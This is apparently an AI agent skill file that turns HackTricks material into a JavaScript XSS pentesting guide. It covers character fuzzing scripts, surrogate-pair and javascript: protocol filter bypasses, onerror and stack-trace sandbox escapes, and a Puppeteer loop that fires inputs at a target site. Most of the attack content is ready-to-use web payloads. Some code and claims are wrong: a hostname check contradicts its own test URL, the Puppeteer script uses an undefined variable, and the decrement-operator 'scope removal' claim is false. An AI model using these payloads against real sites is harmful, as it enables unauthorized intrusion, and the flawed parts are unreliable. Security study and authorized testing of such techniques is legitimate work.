Hacktricks-skills js-xss-pentesting

JavaScript-based XSS and security testing techniques. Use this skill whenever the user needs to test for XSS vulnerabilities, fuzz JavaScript input, bypass WAF protections, escape JavaScript sandboxes, or analyze JavaScript behavior for security research. This includes generating payloads, understanding valid JavaScript characters, protocol fuzzing, and automated browser testing. Make sure to use this skill when the user mentions XSS, JavaScript security, WAF bypass, sandbox escape, or any web application security testing involving JavaScript.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/other-js-tricks/SKILL.MD
source content

JavaScript XSS & Security Testing

A comprehensive guide to JavaScript-based security testing techniques for XSS vulnerabilities, WAF bypass, and sandbox escapes.

JavaScript Fuzzing

Valid JavaScript Comment Characters

JavaScript accepts various characters as comment delimiters. These can be used to bypass filters:

// Single line comment
/* Multiline comment */
#! Single line (must be at beginning)
--> Single line (must be at beginning)

Fuzzing script to discover valid comment characters:

for (let j = 0; j < 128; j++) {
  for (let k = 0; k < 128; k++) {
    for (let l = 0; l < 128; l++) {
      if (j == 34 || k == 34 || l == 34) continue; // Skip quotes
      if (j == 0x0a || k == 0x0a || l == 0x0a) continue; // Skip newlines
      if (j == 0x0d || k == 0x0d || l == 0x0d) continue; // Skip carriage returns
      if (j == 0x3c || k == 0x3c || l == 0x3c) continue; // Skip <
      if ((j == 47 && k == 47) || (k == 47 && l == 47)) continue; // Skip //
      
      try {
        var cmd = String.fromCharCode(j) + String.fromCharCode(k) + 
                  String.fromCharCode(l) + 'a.orange.ctf"';
        eval(cmd);
      } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === 'ReferenceError') continue;
        console.log(err, cmd);
      }
    }
  }
}

Valid JavaScript Newline Characters

JavaScript interprets these characters as newlines:

CharacterCodeHex
LF100x0a
CR130x0d
Line Separator82320xe2 0x80 0xa8
Paragraph Separator82330xe2 0x80 0xa9

Fuzzing script to discover valid newline characters:

for (let j = 0; j < 65536; j++) {
  try {
    var cmd = '"aaaaa";' + String.fromCharCode(j) + '-->a.orange.ctf"';
    eval(cmd);
  } catch (e) {
    var err = e.toString().split("\n")[0].split(":")[0];
    if (err === "SyntaxError" || err === "ReferenceError") continue;
    console.log(`[${err}]`, j, cmd);
  }
}

Valid Characters in Function Calls

Characters that can appear between a function name and parentheses:

function x() {}

log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  try {
    eval(`x${String.fromCodePoint(i)}()`);
    log.push(i);
  } catch(e) {}
}

// Valid codes: 9,10,11,12,13,32,160,5760,8192-8202,8232,8233,8239,8287,12288,65279

Valid String Generation Characters

Characters that can form valid strings:

log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  try {
    eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`);
    log.push(i);
  } catch (e) {}
}
// Valid: 34 (double quote), 39 (single quote), 47 (regex), 96 (backticks)

WAF Bypass Techniques

Surrogate Pairs

Surrogate pairs can bypass WAF protections by encoding bytes differently:

def unicode(findHex):
    """Find surrogate pairs matching specific byte patterns"""
    for i in range(0, 0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:], 16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:], 16))
        if (h == findHex[0]) and (l == findHex[1]):
            print(H.replace("0x", "\\u") + L.replace("0x", "\\u"))

Protocol Fuzzing

Fuzz the

javascript:
protocol to find bypasses:

log = [];
let anchor = document.createElement('a');
for (let i = 0; i <= 0x10ffff; i++) {
  anchor.href = `javascript${String.fromCodePoint(i)}:`;
  if (anchor.protocol === 'javascript:') {
    log.push(i);
  }
}
// Valid: 9, 10, 13, 58

// Example usage:
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.textContent = 'Click me';
document.body.append(anchor);

// HTML alternative:
// <a href="&#12;javascript:alert(1337)">Test</a>

URL Fuzzing

Before the protocol:

a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`;
  if (a.hostname === "hacktricks.xyz") {
    log.push(i);
  }
}
// Valid: 0-32 (control characters and space)

Between slashes:

a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
  a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
  if (a.hostname === "hacktricks.xyz") {
    log.push(i);
  }
}
// Valid: 9, 10, 13, 47, 92

HTML Comment Fuzzing

Characters that can close HTML comments:

log = [];
div = document.createElement("div");
for (let i = 0; i <= 0x10ffff; i++) {
  div.innerHTML = `<!----${String.fromCodePoint(i)}><span></span>-->`;
  if (div.querySelector("span")) {
    log.push(i);
  }
}
// Valid: 33 (!), 45 (-), 62 (>)

JavaScript Function Tricks

.call()
and
.apply()

Execute functions with custom

this
context:

function test_call() {
  console.log(this.value); // "baz"
}

new_this = { value: "hey!" };
test_call.call(new_this);

// With arguments:
function test_call() {
  console.log(arguments[0]); // "arg1"
  console.log(arguments[1]); // "arg2"
  console.log(this); // [object Window]
}
test_call.call(null, "arg1", "arg2");

// .apply() with array of arguments:
function test_apply() {
  console.log(arguments[0]); // "arg1"
  console.log(arguments[1]); // "arg2"
}
test_apply.apply(null, ["arg1", "arg2"]);

Arrow Functions

Concise function syntax:

// Traditional
function plusone(a) { return a + 1; }

// Arrow
plusone = (a) => a + 1;

// Multiple parameters
(a, b) => a + b + 100;

// No parameters
() => a + b + 1;

.bind()

Create function copies with modified

this
and parameters:

var fn = function(param1, param2) {
  console.info(this, param1, param2);
};

// Bind with custom this
var bindFn = fn.bind(console, "fixingparam1");
bindFn("Hello", "World");

// Bind with null this
var bindFnNull = fn.bind(null, "fixingparam1");

Function Code Leak

Extract function source code:

function afunc() {
  return 1 + 1;
}

// Multiple ways to get function code:
console.log(afunc.toString());
console.log(String(afunc));
console.log(this.afunc.toString());
console.log(global.afunc.toString());

// For anonymous functions:
;(function() {
  return arguments.callee.toString();
})();

// Extract code from another function:
;(function() {
  return (retFunc) => String(arguments[0]);
})((a) => {
  /* Hidden comment */
})();

Sandbox Escape Techniques

Recovering Window Object

Access global functions from restricted contexts:

// Direct access
window.eval("alert(1)");
frames;
globalThis;
parent;
self;
top; // Topmost window

// From document
document.defaultView.alert(1);

// From node object
node = document.createElement('div');
node.ownerDocument.defaultView.alert(1);

// From error events
<img src onerror="event.path.pop().alert(1337)">
<img src onerror="event.composedPath().pop().alert(1337)">
<svg><image href=1 onerror="evt.composedPath().pop().alert(1337)"></svg>

// Using Error.prepareStackTrace
Error.prepareStackTrace = function(error, callSites) {
  callSites.shift().getThis().alert(1337);
};
new Error().stack;

// Using with() statement
<img src onerror="with(document) { defaultView.alert(1337); }">

Breakpoint Debugging

Set breakpoints on property access:

// Break on sessionStorage/localStorage access
sessionStorage.getItem = localStorage.getItem = function(prop) {
  debugger;
  return sessionStorage[prop];
};

localStorage.setItem = function(prop, val) {
  debugger;
  localStorage[prop] = val;
};

// Break on specific property access
function debugAccess(obj, prop, debugGet = true) {
  var origValue = obj[prop];
  
  Object.defineProperty(obj, prop, {
    get: function() {
      if (debugGet) debugger;
      return origValue;
    },
    set: function(val) {
      debugger;
      origValue = val;
    }
  });
}

// Example: debug prototype pollution
debugAccess(Object.prototype, "ppmap");

Automated Browser Testing

Puppeteer Payload Testing

Automate XSS payload testing with headless browser:

const puppeteer = require("puppeteer");

async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  
  // Loop through different payload values
  for (let i = 0; i < 10000; i += 100) {
    console.log(`Run number ${i}`);
    const input = `${"0".repeat(i)}${realPasswordLength}`;
    
    await page.goto(`https://target.com/page?param=${input}`);
    
    // Execute function in page context
    await page.evaluate("generate()");
    
    // Extract results
    const content = await page.$$eval(
      ".alert .page-content",
      (node) => node[0].innerText
    );
    
    console.log(content);
    await sleep(1000);
  }
  
  await browser.close();
})();

Additional Resources

Tools

References

Quick Reference

Common Bypass Patterns

TechniqueExample
Newline in protocol
&#12;javascript:alert(1)
Comment bypass
<!-->alert(1)<!--
Function space
alert\xa0(1)
String quotes
"%$£234"
Protocol fuzz
javascript\u003aalert(1)

Decrement Operator Trick

The

--
operator can remove variables from scope:

--variableName; // Sets variable to NaN, effectively removing it

Usage Guidelines

  1. Always test in controlled environments - These techniques can be destructive
  2. Document findings - Keep records of successful bypasses
  3. Respect scope - Only test systems you have authorization for
  4. Combine techniques - Multiple bypasses often work together
  5. Stay updated - Browser behavior changes frequently